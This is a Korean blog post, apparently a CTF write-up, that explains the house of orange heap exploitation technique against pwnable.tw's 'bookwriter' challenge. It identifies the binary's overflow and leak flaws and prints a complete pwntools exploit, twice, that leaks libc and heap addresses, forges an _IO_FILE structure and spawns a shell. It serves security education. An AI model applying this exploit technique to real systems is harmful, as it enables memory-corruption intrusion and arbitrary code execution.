Profile

youngsouk

youngsouk

house_of_orange (6) pwnable.tw - bookwriter

이번에는 house of orange를 이용해서 pwnable.tw의 bookwriter라는 문제를 풀어볼 것입니다.

이렇게 함수들이 sub_~~~~~이런식으로 나오는데 실행시켰을 때 나오는 메뉴들을 통해 함수 이름을 수정하게 되면 

이런식으로 수정을 할 수 있게됩니다. 첫번째 함수인 add 부터 보겠습니다.

malloc을 할 크기를 입력을 받고 malloc을 하고 내용을 입력한다는 것을 알 수 있다. 그리고 i >8 이면 종료하는 것을 보아 최대 9번까지 malloc을 할 수 있을 것으로 예상됩니다. 여기서 취약점이 발생하게 됩니다. 왜냐하면 

여기서 알 수 있듯이 두 변수 사이의 거리가 0x40만큼 차이가 나게되는데 9번을 할당을 하게되면 size_array[0]을 침범할 수 있습니다. 다만 size[0]에 대한 내용이 없어야 합니다. 왜냐하면 입력하려는 부분에 데이터가 있다면 break문이 발동하기 때문입니다.

view 함수를 보게되면 index가 7초과일시 page 초과라고 출력을 하게 됩니다. 그리고 내용을 출력해주게 됩니다. 여기서 free되고 다시 할당된 청크를 보게되면 libc 릭을 할 수 있을 것 같습니다.

다음에는 edit인데 여기서는 idx가 7초과면 종료를 하게되고, ptr_arr에 저장된 주소에 size_array에 있는 값만큼 읽기를 진행하는 것을 볼 수 있습니다. 아까 add 부분에서 size[0]를 청크의 주소로 침범할 수 있다고 하였는데, 그렇다면 여기서 heap overflow를 일으킬 수 있다는 것을 알 수 있습니다. 

또한 여기서 특별한 것을 볼 수 있는데 size_array를 strlen을 통해 갱신을 해준다는 것입니다. 여기서도 취약점이 발생하게 되는데 왜냐하면 malloc()을 할 때 size + 8이 2 * SIZE_SZ의 배수일 때 다음 청크의 prev_size부분까지 입력을 할 수 있게 됩니다. 

결론적으로 다음 청크의 prev_size까지 입력을 하게 되면, strlen()함수가 다음 청크의 size까지의 길이를 반환하게 되어 다음에 edit할 떄  청크의 크기를 수정할 수 있게 됩니다.

여기서는 author의 부분을 수정하는 것을 볼 수 있는데, author edit()을 호출하는 모습을 볼 수 있습니다. 

author_edit부분을 보면 author부분에 0x40만큼 입력을 받는데 여기서도 취약점이 발생하게 됩니다. 왜냐하면

0x602060 + 0x40 = 0x6020a0 즉 0x40만큼 author에 입력을 하게되면 ptr_arr과 null 없이 이어지게 됩니다. 그래서 ptr_arr[0]에 담긴 값을 출력을 할 수 있는데 여기서 heap base leak을 할 수 있습니다.

 

그래서 취약점에 대해 정리를 하자면

1. 다음 청크의 size 수정 가능 (house of orange의 조건에 해당)

2. view를 통해 libc leak 가능

3. author_edit을 통해 heap base leak 가능

4. size[0]이 heap 주소로 수정되어 엄청난 크기의 heap overflow 가능

 

이 취약점들을 이용하면 house of orange를 성공적으로 할 수 있습니다.

그래서 이제 익스 코드를 작성해보겠습니다. 

먼저 각 메뉴에 대한 함수를 만들고 heap base leak을 나중에 하기 위해 처음 실행하면 나오는 author 입력 창에 0x40만큼 문자를 입력해 줍시다. 

from pwn import *
from hog import hog

context.log_level="debug"

def add(size,content):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('Size of page :', str(size))
        p.sendafter('Content :', str(content))

def view(index):
        p.recv()
        p.sendline('2')
#       p.sendlineafter('Your choice :', '2')
        p.sendlineafter('Index of page :', str(index))

def edit(index,content):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('Index of page :', str(index))
#       p.sendafter('Content :', str(content))
        p.recv()
        p.send(str(content))

def infor(author):
        p.sendlineafter('Your choice :', '4')
        p.sendlineafter('Do you want to change the author ? (yes:1 / no:0) ', '1')
        p.sendafter('Author :', str(author))

p = process('./bookwriter')
#p = remote('chall.pwnable.tw', 10304)
e = ELF('./bookwriter')
#l = ELF('./libc_64.so.6')
l = e.libc
pause()

p.sendlineafter('Author :', 'a'* 0x40)

그 다음으로는 위에서 설명한 것처럼 edit 함수의 크기를 갱신하는 취약점을 이용해 top chunk의 크기를 수정해야됩니다. 이것을 코드로 보자면

### free top chunk
add(24,'0')
edit(0, 'a' * 24)
edit(0, 'a' * 24 +p64(0xfe1))
add(5000,'0')
###############

그 다음으로 한번 할당을 하고 view()를 통해 libc leak을 진행 할 수 있습니다.

### libc leak
add(16,'a')
edit(2,'a' * 8)
view(2)

libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 1640 - 16 - l.sym['__malloc_hook']
log.info('libc : ' + hex(libc))
log.info('sys : ' + hex(libc + l.sym['system']))
##############

다음으로는 맨 처음에 author를 0x40만큼 문자를 입력한 것을 이용하여 heap base leak을 해야합니다.

### heap leak
p.sendlineafter('Your choice :', '4')
p.recvuntil('a' * 0x40)
f_chunk = u64(p.recv(4).ljust(8,'\x00'))
log.info('first chunk ptr : ' + hex(f_chunk))
p.sendlineafter('Do you want to change the author ? (yes:1 / no:0) ', '0')
#############

그 다음으로는 앞에서 설명한 size[0]을 청크 주소로 덮어 heap overflow를 일으키기 위해 그러기 위해서 0번째 청크의 크기를 널로 만들어 준뒤 6번까지 할당을 해주어야합니다.

###size[0] = heap_addr
edit(0,'\x00')
for i in range(6):
        add(16,'0')

#############

그렇게 되면 이렇게 size[0]가 청크의 주소로 덮이게 되어 손쉽게 heap overflow를 일으킬 수 있습니다. 

다음으로 우리는 free되어있는 청크에 가짜 _IO_FILE 구조체를 삽입하고 malloc()한번 더 호출하면 됩니다. 그런데 위에서 말할 때에는 malloc()을 9번까지 호출이 가능할 것이다 라고 하는데 이 마지막 1번은 10번째 malloc()입니다. 이것이 가능한 이유는 strlen()함수가 널문자를 만날때까지의 갯수를 세기 때문에 우리가 내용을 입력할 때 널 문자를 처음에 입력을 하게되면 길이가 0이되어 size[0]이 NULL이 되게 됩니다. 이러한 원리로 size[0]을 NULL로 만들기만 한다면 malloc()을 무한정 호출할 수 있게 됩니다. 이것을 코드로 나타내면

fake_struct_start = f_chunk + 0xf0
log.info('fake _IO_FILE start : '+ hex(fake_struct_start))

payload = '\x00' * 0xf0
payload += hog(libc + l.sym['_IO_list_all'],fake_struct_start,libc + l.sym['system'])
edit(0,payload)

p.sendlineafter('Your choice :', '1')
pause()
p.sendlineafter('Size of page :', '5')

p.interactive()

이렇게 되고 여기서 사용된 hog함수를 보시려면 아래 글을 참고해 주세요

2019/09/09 - [힙(heap)/house_of_orange] - house_of_orange (5) 자동 구조체 생성기 모듈 만들기

따라서 최종적인 익스플로잇 코드는

from pwn import *
from hog import hog

context.log_level="debug"

def add(size,content):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('Size of page :', str(size))
        p.sendafter('Content :', str(content))

def view(index):
        p.recv()
        p.sendline('2')
#       p.sendlineafter('Your choice :', '2')
        p.sendlineafter('Index of page :', str(index))

def edit(index,content):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('Index of page :', str(index))
#       p.sendafter('Content :', str(content))
        p.recv()
        p.send(str(content))

def infor(author):
        p.sendlineafter('Your choice :', '4')
        p.sendlineafter('Do you want to change the author ? (yes:1 / no:0) ', '1')
        p.sendafter('Author :', str(author))

p = process('./bookwriter')
#p = remote('chall.pwnable.tw', 10304)
e = ELF('./bookwriter')
#l = ELF('./libc_64.so.6')
l = e.libc
pause()

p.sendlineafter('Author :', 'a'* 0x40)
### free top chunk
add(24,'0')
edit(0, 'a' * 24)
edit(0, 'a' * 24 +p64(0xfe1))
add(5000,'0')
###############
### libc leak
add(16,'a')
edit(2,'a' * 8)
view(2)

libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 1640 - 16 - l.sym['__malloc_hook']
log.info('libc : ' + hex(libc))
log.info('sys : ' + hex(libc + l.sym['system']))
##############
### heap leak
p.sendlineafter('Your choice :', '4')
p.recvuntil('a' * 0x40)
f_chunk = u64(p.recv(4).ljust(8,'\x00'))
log.info('first chunk ptr : ' + hex(f_chunk))
p.sendlineafter('Do you want to change the author ? (yes:1 / no:0) ', '0')
#############
###size[0] = heap_addr
edit(0,'\x00')
for i in range(6):
        add(16,'0')

#############
fake_struct_start = f_chunk + 0xf0
log.info('fake _IO_FILE start : '+ hex(fake_struct_start))

payload = '\x00' * 0xf0
payload += hog(libc + l.sym['_IO_list_all'],fake_struct_start,libc + l.sym['system'])
edit(0,payload)

p.sendlineafter('Your choice :', '1')
pause()
p.sendlineafter('Size of page :', '5')

p.interactive()

이렇게 됩니다. (grin)